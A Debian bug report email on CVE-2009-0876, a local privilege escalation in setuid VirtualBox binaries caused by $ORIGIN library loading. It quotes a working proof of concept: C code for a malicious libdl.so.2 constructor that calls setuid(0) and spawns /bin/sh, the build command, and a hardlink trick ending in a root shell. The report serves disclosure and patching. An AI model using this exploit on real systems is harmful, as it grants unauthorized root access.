[Pkg-virtualbox-devel] Bug#520126: virtualbox-ose: CVE-2009-0876 insecure shared lib loading leads to local privilege escalation

[Nico Golde]

Package: virtualbox-ose
Version: 2.1.4-dfsg-1
Severity: critical
Tags: security patch

Hi,
the following CVE (Common Vulnerabilities & Exposures) id was
published for virtualbox-ose.

CVE-2009-0876[0]:
| Unspecified vulnerability in Sun xVM VirtualBox 2.0.0, 2.0.2, 2.0.4,
| 2.0.6r39760, 2.1.0, 2.1.2, and 2.1.4r42893 on Linux allows local users
| to gain privileges via unknown vectors related to "certain packages."

Quoting SpanKY <vapier at gentoo.org>:
"hardlinks on Linux preserve permission, including set*id bits, and can be
created by non-root users. virtualbox attempts to perform some sanity checks on
the dir the binary exists in (presumably to prevent privilege escalation),
however that is done after the constructors in shared libs are run. that means
any library a virtualbox binary links against is an attack vector.

the constructor isnt the only attack vector ... you could also override any of
the standard C library functions that virtualbox would call during its startup.
like open() or stat() or ...

there really isnt many workarounds available here if DT_RPATH:$ORIGIN is
continued to be used. perhaps making a small dedicated partition (loopback or
whatever) and storing the binaries on there because hardlinks cannot go across
partitions.

simple example:

$ id -u
1002

$ cat test.c
#include <unistd.h>
#include <sys/syscall.h>
__attribute__((constructor))
void awesome(void)
{
        char *argv[] = { "sh", NULL };
        extern char *environ;
        syscall(SYS_setuid, 0);
        syscall(SYS_execve, "/bin/sh", argv, environ);
}

$ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2

$ ls -l /opt/VirtualBox/VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox

$ ln /opt/VirtualBox/VirtualBox

$ ls -l VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox

$ ./VirtualBox
./VirtualBox: /home/vapier/libdl.so.2: no version information available
(required by ./VirtualBox)
sh-4.0# whoami
root"

Upstream patches are available on:
http://www.virtualbox.org/changeset/17171
http://www.virtualbox.org/changeset/17169
http://www.virtualbox.org/changeset/17168

Debian lenny is not affected by this problem as the binaries are not setuid 0.

If you fix the vulnerability please also make sure to include the
CVE id in your changelog entry.

For further information see:

[0] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0876
    http://security-tracker.debian.net/tracker/CVE-2009-0876

-- 
Nico Golde - http://www.ngolde.de - nion at jabber.ccc.de - GPG: 0x73647CFF
For security reasons, all text in this mail is double-rot13 encrypted.
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